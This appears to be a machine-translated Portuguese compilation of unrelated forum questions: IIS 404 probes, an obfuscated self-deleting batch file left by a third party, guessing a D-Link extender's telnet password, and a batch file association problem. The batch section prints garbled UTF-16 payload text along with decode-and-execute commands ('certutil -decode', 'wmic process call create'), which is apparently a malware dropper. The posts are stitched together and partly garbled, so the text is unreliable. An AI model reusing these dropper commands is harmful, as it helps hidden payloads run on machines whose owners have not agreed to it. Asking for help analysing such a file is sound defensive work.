Vi um 404 sendo gerado várias vezes por segundo, depois de alguma depuração descobri que algo está tentando chamar/Discovery/HTTPsvc/IISXferWanServer.DLL
Você pode sugerir o que é e como eu faria para pará-lo?
O endereço remoto parece ser outro servidor local com RealVNC e Microsoft SQL Server 2008 R2 ativados
Obrigado
Eu tenho um arquivo de lote com uma carga de caracteres chineses dentro como abaixo. Quando eu executo, o arquivo é excluído. Alguma idéia de como decodificar o que é o conteúdo e o que está fazendo?
Parte do texto:
挦獬╀啰求捉縺㤸㠬┳倥䉕楌㩣㕾ㄬ䌥潈⁞景╞畐求䍉縺㘴ㄬ┶ഠ帊瀥䉕䥬㩃ㅾⰴ┱䱞瀥䉕楬㩃㕾ⰵ㜱帥瀥扵䥬㩣㑾ㄬ‥ഠ匊瑅删㵞杊╞啰䱂捉縺㌱ㄬ帥瑧塇╺啰䱂捉縺ⰴ┱╷啰䱂捉縺ㄱㄬ帥浨瀥䉕䥌㩣ㅾⰰ┱卞䡞幉⁏爥縺ⰸ┱╥㩲㑾ㄬ‥慮爥縺㈱ㄬ攥㴠┠㩲ㅾⰰ┱╡㩲㑾ㄬ挥爥縺ㄱㄬ‥╯㩲ㅾⰰ┱爥縺㌱ㄬ┥㩲㡾ㄬ挥╡㩲㑾ㄬ漥爥縺〱ㄬ礥┠㩲ㅾⰲ┱潯爥縺㈱ㄬ㠥㔲ഠ┊㩲㡾ㄬ攥爥縺ⰴ┱┠㩲ㅾㄬ┥㩲㉾ㄬ┥㩲㑾ㄬ┥㩲ㅾⰱ┱爥縺㌱ㄬ┥㩲ㅾⰰ┱㴠┠㩲ㅾⰱ┱爥縺ⰴ┱爥縺ⰴ┱╰㩲㡾ㄬ㨥⼯爥縺ⰱ┱爥縺ⰲ┱爥縺ⰴ┱爥縺ㄱㄬ┥㩲ㅾⰳ┱爥縺〱ㄬ⸥潣爥縺㈱ㄬ⼥爥縺㈱ㄬ漥╯㩲ㅾⰲ┱㈸⼵爥縺〱ㄬ愥爥縺ⰴ┱╣㩲ㅾⰱ┱漭爥縺〱ㄬ春爥縺㌱ㄬ┥㩲㡾ㄬ挥╡㩲㑾ㄬ漥爥縺㈱ㄬ愥敤┭㩲㉾ㄬ渥瀭╹㩲㑾ㄬ┥㩲ㅾⰱ┱湯†湞敞爥縺ⰴ┱ㅞ⁞爥縺ⰸ┱䕞爥縺ⰸ┱爥縺㐱ㄬ┥㩲ㅾⰶ┱幯⁎帾啎䱞㈠☾‱ഠ帊爥縺ⰲ┱⁆攥剒剏敌䕖╬㴠‽‰
ഠ倊幯別縺ⰹ┱剅╞㩒ㅾⰴ┱別縺ㄱㄬ帥幅幌⽬⁗⼠灥〠⽞湞別縺㜱ㄬ帥幰振帠帢摁䑞席幍偰干䙅幥幒湅䍞ⵞ䕞別縺ⰶ┱捞╬㩒ㅾⰳ┱別縺㐱ㄬ帥別縺㘱ㄬ漥乞偞╡㩒㑾ㄬ┥㩒ㅾⰵ┱✠䍞尺‧席幦副幃㭅幥別縺ⰶ┱╞㩒㉾ㄬ┥㩒㑾ㄬ‥•ഠ⤊䔠╌㩲㡾ㄬ帥
ഠ爊╥㩲ㅾㄬ‥摡爥縺㔱ㄬ䬥啃䕜癮爥縺ⰲ┱潲╮㩲ㅾⰲ┱湥爥縺ⰴ┱⼠瘯┠㩲㥾ㄬ┥㩲㉾ㄬ渥╤㩲㉾ㄬ爥⼠爥縺ⰴ┱删幅爥縺ⰵ┱╟㩲ㅾⰴ┱幚⼠≞╣㩲ㅾⰲ┱硥振┠㩲㡾ㄬ┥㩲㑾ㄬ愥╲㩲㑾ㄬ‥≜≜⁞┯㩒ㅾⰲ┱別縺ⰲ┱湞尠┢䙾尰㸢乞爥縺㌱ㄬ䰥㈠☾‱簠⁼╞㩒ㅾⰴ┱癞╣㩒ㅾⰵ┱別縺㜱ㄬ┥㩒㡾ㄬ┥㩒㑾ㄬ帥•举爥縺㌱ㄬ帥⁌㸲ㄦ†爥縺㐱ㄬ挥爥縺㔱ㄬ吥╁㩲㡾ㄬ欥爥縺ⰸ┱⼠啒⁎⽞湔尠╍㩲ㅾⰶ┱牣
Tem sido um arquivo de lote no servidor desde que um terceiro o instalou, mas agora eles faliram e estamos tentando descobrir o que está acontecendo
Quando executamos o arquivo nele, obtemos:
Little-endian UTF-16 Unicode text, with very long lines, with no line terminators
Não se traduz em nada, então pode não ser chinês, mas isso se deve à minha ignorância mais do que qualquer outra coisa
Eu também tentei usar, iconvmas o arquivo continua o mesmo
iconv -f utf-16 -t utf-8 batchfile.bat > filename_new.txt
Quando eu corro stringsnele, recebo algumas coisas legíveis de volta
certutil -f -decode %pooth% %pooth%
timeout 1
wmic process call create %pooth%
setlocal enableextensions
Em um editor hexadecimal, recebo o seguinte e, embora seja um pouco mais legível, ainda parece sem sentido
Eu tenho um extensor de alcance gigabit de banda dupla D-Link Wireless AC1200 (DAP-1650) e estava tentando entrar no servidor telnetd, mas não tenho uma senha. Eu tentei alguns dos habituais: admin, senha, em branco, mas não vai
Alguma ideia?
Usuário do Windows - cometi o erro de associar um arquivo em lote ao Sublime, então cada vez que o abro, em vez de executá-lo, ele abre no Sublime
Não tenho acesso ao prompt de comando (daí o motivo para usar arquivos em lote) ou para editar o registro (laptop de trabalho, bloqueado)
Como eu reverteria isso, clicando duas vezes no arquivo de lote para executá-lo em vez de abrir no Sublime?
Obrigado